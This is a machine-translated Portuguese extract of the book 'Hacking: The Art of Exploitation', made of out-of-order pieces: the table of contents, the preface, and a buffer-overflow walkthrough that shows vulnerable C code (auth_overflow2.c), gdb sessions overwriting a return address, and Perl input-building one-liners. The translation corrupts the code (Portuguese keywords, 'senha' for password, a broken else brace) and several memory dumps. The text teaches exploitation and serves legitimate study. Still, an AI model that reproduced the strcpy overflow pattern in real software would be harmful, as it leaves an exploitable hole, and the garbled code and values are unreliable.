O</p><p>valor de 0x00004141 pode olhar para trás novamente, mas lembre-se que o x86</p><p>tem uma arquitetura little-endian, por isso é suposto ter esse aspecto. Se você</p><p>examinar cada um destes quatro bytes individualmente, você poderá ver como a</p><p>memória está realmente disposta. Em última análise, o programa tratará este</p><p>valor como um inteiro, com um valor de 16705.</p><p>(gdb) continuar</p><p>Continuando.</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Acesso Concedido.</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Programa saído com o código 034.</p><p>(gdb)</p><p>Após o transbordo, a função check_authentication() retornará 16705 em vez</p><p>de 0. Como a declaração considera qualquer valor diferente de zero como</p><p>autenticamente ticado, o fluxo de execução do programa é controlado na</p><p>seção autenticada. Neste exemplo, a variável auth_flag é o ponto de controle</p><p>da execução, uma vez que a sobreposição deste valor é a fonte do controle.</p><p>Mas este é um exemplo muito elaborado que depende do layout de</p><p>memória das variáveis. Em auth_overflow2.c, as variáveis são declaradas em</p><p>ordem inversa. (As mudanças em auth_overflow.c são mostradas em</p><p>negrito).</p><p>132 0x</p><p>3 0 0</p><p>auth_overflow2.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>int check_authentication(char *password) {</p><p>char password_buffer[16];</p><p>int auth_flag = 0;</p><p>strcpy(password_buffer, senha);</p><p>if(strcmp(password_buffer, "brillig") == 0)</p><p>auth_flag = 1;</p><p>if(strcmp(password_buffer, "outgrabe") == 0)</p><p>auth_flag = 1;</p><p>retornar auth_flag;</p><p>}</p><p>int main(int argc, char *argv[]) {</p><p>if(argc < 2) {</p><p>printf("Usage: %s <password>\n", argv[0]);</p><p>exit(0);</p><p>}</p><p>if(check_authentication(argv[1])) {</p><p>printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");</p><p>printf(" Access Granted.\n");</p><p>printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");</p><p>{} else {</p><p>printf("\nAccess Denied.\n");</p><p>}</p><p>}</p><p>Esta simples mudança coloca a variável auth_flag antes do</p><p>tampão_de_senha na memória. Isto elimina o uso da variável return_value como</p><p>um ponto de controle de execução, uma vez que ela não pode mais ser</p><p>corrompida por um transbordamento.</p><p>reader@hacking:~/booksrc $ gcc -g auth_overflow2.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>lista 1</p><p>1 #include <stdio.h></p><p>2 #incluir <stdlib.h></p><p>3 #incluir <string.h></p><p>4</p><p>5 int check_authentication(char *password) {</p><p>6 char password_buffer[16];</p><p>7 int auth_flag = 0;</p><p>8</p><p>9 strcpy(password_buffer, senha);</p><p>10</p><p>(gdb)</p><p>Exploração 133</p><p>11 if(strcmp(password_buffer, "brillig") == 0)</p><p>12 auth_flag = 1;</p><p>13 if(strcmp(password_buffer, "outgrabe") == 0)</p><p>14 auth_flag = 1;</p><p>15</p><p>16 retornar auth_flag;</p><p>17 }</p><p>18</p><p>19 int main(int argc, char *argv[]) {</p><p>20 if(argc < 2) {</p><p>(gdb) quebra 9</p><p>Ponto de parada 1 em 0x8048421: arquivo</p><p>auth_overflow2.c, linha 9. (gdb) quebra 16</p><p>Ponto de parada 2 em 0x804846f: arquivo auth_overflow2.c,</p><p>linha 16. (gdb) executar AAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Programa inicial: /home/reader/bookrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Ponto de parada 1, check_authentication (password=0xbffff9b7 'A' <repeats 30 vezes>) em</p><p>auth_overflow2.c:9</p><p>9 strcpy(password_buffer, senha);</p><p>(gdb) x/s password_buffer</p><p>0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\</p><p>bH???????\002"</p><p>(gdb) x/x &auth_flag</p><p>0xbffff7bc: 0x00000000</p><p>(gdb) x/16xw &auth_flag</p><p>0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8</p><p>0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8</p><p>0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848</p><p>0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880</p><p>(gdb)</p><p>Pontos de quebra similares são definidos, e um exame da memória</p><p>mostra que o auth_flag (mostrado em negrito acima e abaixo) está localizado</p><p>antes do password_buffer na memória. Isto significa que o auth_flag nunca</p><p>pode ser substituído por um overflow no password_buffer.</p><p>(gdb) Contínuo.</p><p>Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 vezes>) em</p><p>auth_overflow2.c:16</p><p>16 return auth_flag;</p><p>(gdb) x/s password_buffer</p><p>0xbffff7c0: A' <repeats 30 vezes></p><p>(gdb) x/x &auth_flag</p><p>0xbffff7bc: 0x00000000</p><p>(gdb) x/16xw &auth_flag</p><p>0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141</p><p>0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141</p><p>0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848</p><p>0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880</p><p>(gdb)</p><p>134 0x</p><p>3 0 0</p><p>Como esperado, o transbordo não pode perturbar a variável auth_flag,</p><p>uma vez que ela está localizada antes do buffer. Mas existe outro ponto de</p><p>controle de execução, mesmo que você não consiga vê-la no código C. Ele</p><p>está convenientemente localizado depois de todas as variáveis da pilha, de</p><p>modo que pode ser facilmente sobregravado. Esta memória é parte integrante</p><p>da operação de todos os programas, por isso existe em todos os programas, e</p><p>quando está sobre-escrita, geralmente resulta em uma falha do programa.</p><p>(gdb) c</p><p>Continuando.</p><p>Programa de sinal recebido SIGSEGV, falha de segmentação.</p><p>0x08004141 em ?? ()</p><p>(gdb)</p><p>Lembrando do capítulo anterior que a pilha é um dos cinco segmentos de</p><p>memória utilizados pelos programas. A pilha é uma estrutura de dados FILO</p><p>utilizada para</p><p>manter o fluxo de execução e o contexto das variáveis locais durante as</p><p>chamadas de funções. Quando uma função é chamada, uma estrutura</p><p>chamada stack frame é empurrada para a pilha, e o registro EIP salta para a</p><p>primeira instrução da função. Cada estrutura de</p><p>pilha contém as variáveis locais para aquela</p><p>função e um endereço de</p>
<p>0x6c3 Conhecimento Aplicado .............................................................................388</p><p>0x6c4 A Primeira Tentativa ........................................................................................388</p><p>0x6c5 Jogando com as Probabilidades ......................................................................390</p><p>0x700 CRYPTOLOGY 393</p><p>0x710 Teoria da Informação......................................................................................................394</p><p>0x711 Segurança Incondicional............................................................................394</p><p>0x712 One-Time Pads ...............................................................................................395</p><p>0x713 Distribuição de chaves quânticas ....................................................................395</p><p>0x714 Segurança computacional .........................................................................396</p><p>0x720 Algorithmic Run Time .....................................................................................................397</p><p>0x721 Notação Assimptótica ................................................................................398</p><p>0x730 Criptografia simétrica ...................................................................................................398</p><p>0x731 Lov Grover's Quantum Search Algorithm........................................................399</p><p>0x740 Criptografia assimétrica ..................................................................................................400</p><p>0x741 RSA.................................................................................................................400</p><p>0x742 Algoritmo de Factoring Quantum de Peter Shor's ...........................................404</p><p>0x750 Difusoras Híbridas......................................................................................................406</p><p>0x751 Ataques de homem no meio............................................................................406</p><p>0x752 Diferentes impressões digitais do protocolo SSH Host Fingerprints ................410</p><p>0x753 Fuzzy Fingerprints ...........................................................................................413</p><p>0x760 Rachadura de senha.......................................................................................................418</p><p>0x761 Ataques de dicionário ......................................................................................419</p><p>0x762 Ataques Exaustivos de Força Bruta ................................................................422</p><p>0x763 Tabela de busca de haxixe ..............................................................................423</p><p>0x764 Matriz de Probabilidade de Senha ..................................................................424</p><p>0x770 Wireless 802.11b Criptografia ..................................................................................433</p><p>0x771 Wired Equivalent Privacy...........................................................................434</p><p>0x772 RC4 Stream Cipher .........................................................................................435</p><p>0x780 WEP Ataques .................................................................................................................436</p><p>0x781 Ataques de força bruta fora de linha ...............................................................436</p><p>0x782 Reutilização do Keystream...............................................................................437</p><p>0x783 Tabelas de Dicionário de Decriptação com Base em IV .................................438</p><p>0x784 Redirecionamento IP .......................................................................................438</p><p>0x785 Fluhrer, Mantin, e Shamir Attack.....................................................................439</p><p>0x800 CONCLUSÃO 451</p><p>0x810 Referências.....................................................................................................................452</p><p>0x820 Fontes.............................................................................................................................454</p><p>ÍNDICE 455</p><p>x Conteúdo em detalhe</p><p>PR EF A C E</p><p>O objetivo deste livro é compartilhar a arte do</p><p>hacking com todos. A compreensão das técnicas de</p><p>hacking é muitas vezes difícil, uma vez que requer</p><p>tanto amplitude como</p><p>profundidade de conhecimento. Muitos textos de</p><p>hacking parecem esotéricos</p><p>e confuso por causa de apenas algumas lacunas neste pré-requisito de</p><p>educação. Esta segunda edição do Hacking: A Arte da Exploração torna o</p><p>mundo do hacking mais acessível, fornecendo a imagem completa - da</p><p>programação ao código da máquina, passando pela exploração. Além</p><p>disso, esta edição apresenta um LiveCD inicializável baseado no Ubuntu</p><p>Linux que pode ser usado em qualquer computador com</p><p>um processador x 86, sem modificar o sistema operacional existente do</p><p>computador. Este CD contém todo o código fonte do livro e fornece um</p><p>ambiente de desenvolvimento e exploração que você pode usar para seguir</p><p>junto com os exemplos do livro e experimentar ao longo do caminho.</p><p>AC K N O W L E D G ME NTS</p><p>Gostaria de agradecer a Bill Pollock e a todos na No</p><p>Starch Press por fazer deste livro uma possibilidade e</p><p>permitir-me ter tanto controle criativo no</p><p>processo. Também gostaria de agradecer meus amigos Seth Benson e Aaron</p><p>Adams pela revisão e edição, Jack Matheson por me ajudar na montagem,</p><p>Dr. Seidel por me manter interessado na ciência da computação, meus</p><p>pais por comprar aquele primeiro Commodore VIC-20, e a comunidade</p><p>hacker pela inovação e criatividade que produziu as técnicas explicadas</p><p>neste livro.</p><p>0x100</p><p>IN T R O D UC T I O N</p><p>A idéia de hacking pode conjurar imagens estilizadas</p><p>de vandalismo eletrônico, espionagem, cabelo tingido</p><p>e piercings no corpo. A maioria das pessoas associa o</p><p>hacking à violação da lei e assume que todos que se</p><p>envolvem em atividades de hacking é um criminoso. É</p><p>verdade que existem pessoas</p><p>que usam técnicas de hacking para infringir a lei, mas o hacking não é</p><p>realmente sobre isso. Na verdade, o hacking é mais sobre seguir a lei do que</p><p>infringi-la. A essência do hacking é encontrar usos não intencionais ou</p><p>negligenciados para as leis e propriedades de uma determinada situação e</p><p>depois aplicá-las de maneiras novas e inventivas para resolver um problema -</p><p>seja ele qual for.</p><p>O seguinte problema matemático ilustra a essência do hacking:</p><p>Use cada um dos números 1, 3, 4 e 6 exatamente uma vez</p><p>com qualquer uma das quatro operações matemáticas básicas</p><p>(adição, subtração, multiplicação e divisão) ao total de 24.</p><p>Cada número deve ser usado uma e somente uma vez, e você</p><p>pode definir a ordem das operações; por exemplo, 3 * (4 + 6)</p><p>+ 1 = 31 é válido, por mais incorreto que seja, já que não</p><p>totaliza 24.</p><p>2 0x</p><p>1 0 0</p><p>As regras para este problema são bem definidas e simples, mas a resposta</p><p>foge a muitos. Como a solução para este problema (mostrada na última página</p><p>deste livro), as soluções hackeadas seguem as regras do sistema, mas elas</p><p>utilizam essas regras de maneira contra-intuitiva. Isto dá aos hackers sua</p><p>vantagem, permitindo-lhes resolver problemas de maneiras inimagináveis para</p><p>aqueles confinados ao pensamento e metodologias convencionais.</p><p>Desde a infância dos computadores, os hackers têm resolvido os</p><p>problemas de forma criativa. No final dos anos 50, o clube ferroviário modelo</p><p>MIT recebeu um dona- tion de peças, em sua maioria equipamentos</p><p>telefônicos antigos. Os membros do clube usavam este equipamento para</p><p>montar um sistema complexo que permitia que vários operadores pudessem</p><p>controlar diferentes partes dos trilhos discando para as seções apropriadas.</p><p>Eles chamaram este novo e inventivo uso do equipamento telefônico de</p><p>hacking; muitas pessoas consideram este grupo como sendo os hackers</p><p>originais. O grupo passou a programar em cartões perfurados e fita adesiva</p><p>para os primeiros computadores como o IBM 704 e o TX-0. Enquanto outros</p><p>se contentavam em escrever programas</p>
<p>retorno para que a</p><p>EIP possa ser restaurada. Quando a função é</p><p>feita, a moldura da pilha é popupada da pilha e</p><p>o endereço de retorno é usado para restaurar a</p><p>EIP. Tudo isso é incorporado à arquitetura e</p><p>normalmente é tratado pelo compilador, não</p><p>pelo programador.</p><p>Quando a função check_authentication() é</p><p>chamada, uma nova estrutura de pilha é</p><p>empurrada para a pilha acima da estrutura de</p><p>pilha da main(). Nesta moldura</p><p>são as variáveis locais, um endereço de retorno e os</p><p>argumentos da função.</p><p>Podemos ver todos estes elementos no depurador.</p><p>reader@hacking:~/booksrc $ gcc -g auth_overflow2.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>lista 1</p><p>1 #include <stdio.h></p><p>2 #incluir <stdlib.h></p><p>3 #incluir <string.h></p><p>4</p><p>5 int check_authentication(char *password) {</p><p>6 char password_buffer[16];</p><p>7 int auth_flag = 0;</p><p>8</p><p>9 strcpy(password_buffer, senha);</p><p>variável return_value</p><p>Variável de tampão_senha</p><p>Ponteiro de moldura salva</p><p>(SFP)</p><p>Endereço de retorno (ret)</p><p>*password (argumento func)</p><p>estrutura de empilhamento</p><p>do main()</p><p>Exploração 135</p><p>10</p><p>(gdb)</p><p>11 if(strcmp(password_buffer, "brillig") == 0)</p><p>136 0x</p><p>3 0 0</p><p>12 auth_flag = 1;</p><p>13 if(strcmp(password_buffer, "outgrabe") == 0)</p><p>14 auth_flag = 1;</p><p>15</p><p>16 retornar auth_flag;</p><p>17 }</p><p>18</p><p>19 int main(int argc, char *argv[]) {</p><p>20 if(argc < 2) {</p><p>(gdb)</p><p>21 printf("Usage: %s <password>\n", argv[0]);</p><p>22 saída(0);</p><p>23 }</p><p>24 if(check_authentication(argv[1])) {</p><p>25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");</p><p>26 printf(" Acesso Concedido.\n");</p><p>27 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");</p><p>28 {} else {</p><p>29 printf("\nAccess Denied.\n");</p><p>30 }</p><p>(gdb) pausa 24</p><p>Ponto de parada 1 em 0x80484ab: arquivo</p><p>auth_overflow2.c, linha 24. (gdb) break 9</p><p>Ponto de parada 2 em 0x8048421: arquivo</p><p>auth_overflow2.c, linha 9. (gdb) break 16</p><p>Ponto de parada 3 em 0x804846f: arquivo auth_overflow2.c,</p><p>linha 16. (gdb) executar AAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Programa inicial: /home/reader/bookrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>Ponto de parada 1, principal (argc=2, argv=0xbffff874) em auth_overflow2.c:24</p><p>24 if(check_authentication(argv[1])) {</p><p>(gdb) i r esp</p><p>esp 0xbffff7e0 0xbffff7e0</p><p>(gdb) x/32xw $esp</p><p>0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc</p><p>0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898</p><p>0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000</p><p>0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848</p><p>0xbffff820: 0x40f5f5f7f</p><p>0</p><p>0x48e0fe81 0x00000000 0x00000000</p><p>0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4</p><p>0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371</p><p>0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510</p><p>(gdb)</p><p>O primeiro ponto de parada é logo antes da chamada para</p><p>check_authentication() in main(). Neste ponto, o registro do ponteiro da</p><p>pilha (ESP) é 0xbffff7e0, e a parte superior da pilha é mostrada. Tudo isso</p><p>faz parte da estrutura da pilha principal(). Continuando para o próximo</p><p>ponto de parada dentro da check_authentication(), a saída abaixo mostra</p><p>que o ESP é menor, pois ele sobe na lista de memória para dar espaço</p><p>para a estrutura da pilha da check_authentication() (mostrada em negrito),</p><p>que agora está na pilha. Depois de encontrar os endereços da variável</p><p>auth_flag ( ) e da variável password_buffer ( ), suas localizações podem ser</p><p>Exploração 137</p><p>vistas dentro da estrutura da pilha.</p><p>138 0x</p><p>3 0 0</p><p>(gdb) c</p><p>Continuando.</p><p>Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 vezes>) em</p><p>auth_overflow2.c:9</p><p>9 strcpy(password_buffer, password);</p><p>(gdb) i r esp</p><p>esp 0xbffff7a0 0xbffff7a0</p><p>(gdb) x/32xw $esp</p><p>0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9</p><p>0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000</p><p>0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4</p><p>0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb</p><p>0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc</p><p>0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898</p><p>0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000</p><p>0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848</p><p>(gdb) p 0xbffff7e0 - 0xbffff7a0</p><p>$1 = 64</p><p>(gdb) x/s senha_buffer</p><p>0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\</p><p>bH???????\002"</p><p>(gdb) x/x &auth_flag</p><p>0xbffff7bc: 0x00000000</p><p>(gdb)</p><p>Continuando para o segundo ponto de parada em check_authentication(),</p><p>uma estrutura de pilha (mostrada em negrito) é empurrada para a pilha</p><p>quando a função é chamada. Como a pilha cresce para cima em direção aos</p><p>endereços de memória inferior, o ponteiro da pilha agora é 64 bytes a menos</p><p>a 0xbffff7a0. O tamanho e a estrutura de uma estrutura da pilha pode variar</p><p>muito, dependendo da função e de certas otimizações do compilador. Por</p><p>exemplo, os primeiros 24 bytes desta estrutura de pilha são apenas</p><p>almofadados ali colocados pelo compilador. As variáveis locais da pilha,</p><p>auth_flag e password_buffer, são mostradas em seus respectivos locais de</p><p>memória na estrutura da pilha. A auth_flag ( ) é mostrada em 0xbffff7bc, e</p><p>os 16 bytes do buffer de senha ( ) são mostrados em 0xbffff7c0.</p><p>A armação da pilha contém mais do que apenas as variáveis locais e o</p><p>ding de almofada. Os elementos da check_authentication() da estrutura da</p><p>pilha são mostrados abaixo.</p><p>Primeiro, a memória salva para as variáveis locais é mostrada em itálico.</p><p>Isto começa na variável auth_flag em 0xbffff7bc e continua até o final da</p><p>variável 16-byte password_buffer. Os próximos valores na pilha são apenas o</p><p>preenchimento do compilador, mais algo chamado ponteiro de frame salvo.</p><p>Se o programa for compilado com a bandeira -fomit-frame-pointer para</p><p>otimização-, o frame pointer não será usado na estrutura da pilha. No valor</p><p>0x080484bb está o endereço de retorno da estrutura da pilha, e no endereço</p><p>0xbffffe9b7 está um ponteiro para uma string contendo 30 As. Este deve ser o</p><p>argu- ment para a função check_authentication().</p><p>(gdb) x/32xw $esp</p><p>0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9</p><p>Exploração 139</p><p>0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000</p><p>0xbffff7c0: 0xb/fd6ff4 0xbffff880 0xbffff/e8 0xb/fd6ff4</p><p>0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb</p><p>0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc</p><p>0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898</p><p>0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000</p><p>0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848</p><p>(gdb) x/32xb</p><p>0xbffff9b7:</p><p>0xbffff9b7</p><p>0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41</p><p>0xbffff9bf: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41</p><p>0xbffff9c7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41</p><p>0xbffff9cf: 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x53</p><p>(gdb) x/s 0xbffff9b7</p><p>0xbffff9b7: A' <repetições 30</p><p>vezes> (gdb)</p><p>O endereço de retorno em uma estrutura da pilha pode ser localizado</p><p>entendendo como a estrutura da pilha é criada. Este processo começa na</p><p>função principal(), mesmo antes da chamada da função.</p><p>(gdb) desassoreio principal</p><p>Lixeira de código de montador para função principal:</p><p>0x08048474 <main+0>: push ebp</p><p>0x08048475 <main+1>: mov ebp,esp</p><p>0x08048477 <main+3>: sub esp,0x8</p><p>0x0804847a <main+6>: e esp,0xfffffff0</p><p>0x0804847d <main+9>: mov eax,0x0</p><p>0x08048482 <main+14>: sub esp,eax</p><p>0x08048484 <main+16>: cmp DWORD PTR [ebp+8],0x1</p><p>0x08048488 <main+20>: jg0x80484ab <main+55></p><p>0x080484848a <main+22>: moveax,DWORD PTR [ebp+12]</p><p>0x080484848d <main+25>: moveax,DWORD PTR [eax]</p><p>0x080484848f <main+27>: movDWORD PTR [esp+4],eax</p><p>0x08048493 <main+31>: movDWORD PTR</p><p>[esp],0x80485e5</p><p>0x0804849a <main+38>: chamada 0x804831c</p><p><printf@plt> 0x0804849f <main+43>:</p><p>movDWORD PTR [esp],0x0</p><p>0x080484a6 <main+50>: chamada 0x804833c</p><p><exit@plt> 0x080484ab <main+55>:</p><p>moveax,DWORD PTR [ebp+12]</p><p>0x080484ae <main+58>: moveax,DWORD PTR [ebp+12]</p><p>0x080484ae <main+58>: adicionareax,0x4</p><p>0x080484b1 <main+61>: mov eax,DWORD PTR [eax]</p><p>0x080484b3 <main+63>: mov DWORD PTR [esp],eax</p><p>0x080484b6 <main+66>: call0x8048414 <check_authentication></p><p>0x080484bb <main+71>: teste eax,eax</p><p>0x080484bd <main+73>: je 0x80484e5 <main+113></p><p>0x080484bf <main+75>: movDWORD PTR</p><p>[esp],0x80485fb</p>
<p>0x080484c6 <main+82>: chamada</p><p>0x804831c <printf@plt> 0x080484cb</p><p><main+87>: movDWORD PTR</p><p>[esp],0x8048619 0x080484d2 <main+94>: chamada</p><p>0x804831c <printf@plt> 0x080484d7</p><p><main+99>: movDWORD PTR</p><p>140 0x</p><p>3 0 0</p><p>[esp],0x8048630</p><p>0x080484de <main+106>: chamada 0x804831c</p><p><printf@plt> 0x080484e3 <main+111>: jmp 0x80484f1</p><p><main+125> 0x080484e5 <main+113>:mov PTR</p><p>[esp],0x804864d</p><p>0x080484ec <main+120>: chamada 0x804831c</p><p><printf@plt> 0x080484f1 <main+125>: sair</p><p>0x080484f2 <main+126>: ret</p><p>Fim do despejo do montador.</p><p>(gdb)</p><p>Exploração 141</p><p>Observe as duas linhas mostradas em negrito na página 131. Neste</p><p>ponto, o registro EAX contém um ponteiro para o primeiro argumento de</p><p>linha de comando. Este também é o argumento para verificar_autenticação().</p><p>Esta primeira instrução de montagem escreve EAX para onde ESP está</p><p>apontando (o topo da pilha). Isto inicia a estrutura da pilha para</p><p>check_authentication() com o argumento da função. A segunda instrução é a</p><p>chamada propriamente dita. Esta instrução empurra o endereço da próxima</p><p>instrução para a pilha e move o registro do ponteiro de execução (EIP) para o</p><p>início da função check_authentication(). O endereço empurrado para a pilha é o</p><p>endereço de retorno para a estrutura da pilha. Neste caso, o endereço da</p><p>próxima instrução é 0x080484bb, ou seja, o endereço de retorno.</p><p>(gdb) desassistir check_authentication</p><p>Lixeira de código de montador para verificação de função_autenticação:</p><p>0x08048414 <check_authentication+0>:</p><p>0x08048415 <check_authentication+1>:</p><p>0x08048417 <check_authentication+3>:</p><p>empurr</p><p>ar</p><p>mov</p><p>sub</p><p>ebp</p><p>ebp,esp</p><p>esp,0x38</p><p>...</p><p>0x08048472 <check_authentication+94>:</p><p>0x08048473 <check_authentication+95>:</p><p>Fim do despejo do montador.</p><p>(gdb) p 0x38</p><p>$3 = 56</p><p>(gdb) p 0x38 + 4 + 4</p><p>$4 = 64</p><p>(gdb)</p><p>deixa</p><p>r ret</p><p>A execução continuará na função check_authentication() enquanto a EIP é</p><p>alterada, e as primeiras instruções (mostradas em negrito acima) terminam</p><p>salvando a memória para a estrutura da pilha. Estas instruções são</p><p>conhecidas como o prólogo da função. As duas primeiras instruções são para</p><p>o ponteiro de frame salvo, e a terceira instrução subtrai 0x38 do ESP. Isto</p><p>salva 56 bytes para as variáveis locais da função. O endereço de retorno e o</p><p>ponteiro da moldura salva já são empurrados para a pilha e contabilizam os 8</p><p>bytes adicionais da moldura da pilha de 64 bytes.</p><p>Quando a função terminar, as instruções de saída e retorno removem a</p><p>estrutura da pilha e ajustam o registro do ponteiro de execução (EIP) para o</p><p>endereço de retorno salvo na estrutura da pilha ( ). Isto leva a execução do</p><p>programa de volta para a próxima instrução em main() após a chamada da</p><p>função a 0x080484bb. Este processo acontece toda vez que uma função é</p><p>chamada em qualquer programa.</p><p>(gdb) x/32xw $esp</p><p>0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9</p><p>0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000</p><p>0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4</p><p>0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb</p><p>0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc</p><p>0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898</p><p>142 0x</p><p>3 0 0</p><p>0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000</p><p>0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848</p><p>Exploração 143</p><p>(gdb) Contínuo.</p><p>Breakpoint 3, check_authentication (password=0xbffff9b7 'A' <repeats 30 vezes>) em</p><p>auth_overflow2.c:16</p><p>16 retornar</p><p>auth_flag; (gdb) x/32xw $esp</p><p>0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9</p><p>0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000</p><p>0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141</p><p>0xbffff7d0: 0x41414141 0x41414141 0x41414141 0x08004141</p><p>0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc</p><p>0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898</p><p>0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000</p><p>0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848</p><p>(gdb) cont</p><p>Continuando.</p><p>Programa de sinal recebido SIGSEGV, falha de segmentação.</p><p>0x08004141 em ?? ()</p><p>(gdb)</p><p>Quando alguns dos bytes do endereço de retorno salvo forem</p><p>sobrescritos, o programa ainda tentará usar esse valor para restaurar o</p><p>registro do ponteiro de execução- ter (EIP). Isto geralmente resulta em uma</p><p>falha, uma vez que a execução está essencialmente saltando para um local</p><p>aleatório. Mas este valor não precisa ser aleatório. Se a gravação excessiva for</p><p>controlada, a execução pode, por sua vez, ser controlada para saltar para um</p><p>local específico. Mas para onde devemos dizer para ir?</p><p>0x330 Experimentando com a BASH</p><p>Uma vez que tanto hacking está enraizado na exploração e experimentação, a</p><p>capacidade de tentar rapidamente coisas diferentes é vital. A casca BASH e o</p><p>Perl são comuns na maioria das máquinas e são tudo o que é necessário para</p><p>experimentar a exploração.</p><p>Perl é uma linguagem de programação interpretada com um comando de</p><p>impressão que por acaso é particularmente adequada para gerar longas</p><p>seqüências de caracteres. O Perl pode ser usado para executar instruções na</p><p>linha de comando, usando o</p><p>-e mudar desta forma:</p><p>reader@hacking:~/booksrc $ perl -e 'print "A" x 20;'</p><p>AAAAAAAAAAAAAAAAAAAAA</p><p>Este comando diz ao Perl para executar os comandos encontrados entre</p><p>as aspas individuais - neste caso, um único comando de impressão "A" x 20;.</p><p>Este com- mand imprime o caracter A 20 vezes.</p><p>Qualquer caractere, como um caracter não imprimível, também pode</p><p>ser impresso usando \x##, onde ## é o valor hexadecimal do caractere. No</p><p>exemplo a seguir, esta notação é usada para imprimir o caractere A, que</p><p>tem o valor hexadecimal de 0x41.</p><p>144 0x</p><p>3 0 0</p><p>reader@hacking:~/booksrc $ perl -e 'print "\x41" x 20;'</p><p>AAAAAAAAAAAAAAAAAAAAA</p><p>Além disso, a concatenação de cordas pode ser feita em Perl com um</p><p>período (.).</p><p>Isto pode ser útil quando se encadeia vários endereços juntos.</p><p>reader@hacking:~/booksrc $ perl -e 'print "A "x20 . "BCD" . "x61x66x67x69 "x2 . "Z";'</p><p>AAAAAAAAAAAAAAAAAABCDafgiafgiZ</p><p>Um comando de shell inteiro pode ser executado como uma função,</p><p>devolvendo sua saída no lugar. Isto é feito circundando o comando com</p><p>parênteses e prefixando um sinal de dólar. Aqui estão dois exemplos:</p><p>reader@hacking:~/booksrc $ (perl -e 'print "uname";')</p><p>Linux</p><p>reader@hacking:~/booksrc $ una$(perl -e 'print "m";')e</p><p>Linux</p><p>reader@hacking:~/booksrc $</p><p>Em cada caso, a saída do comando encontrada entre os parênteses é</p><p>substituída pelo comando, e o comando uname é executado. Este exato efeito</p><p>de substituição de comando pode ser realizado com graves acentos (`, a única</p><p>citação inclinada na tecla til). Você pode utilizar 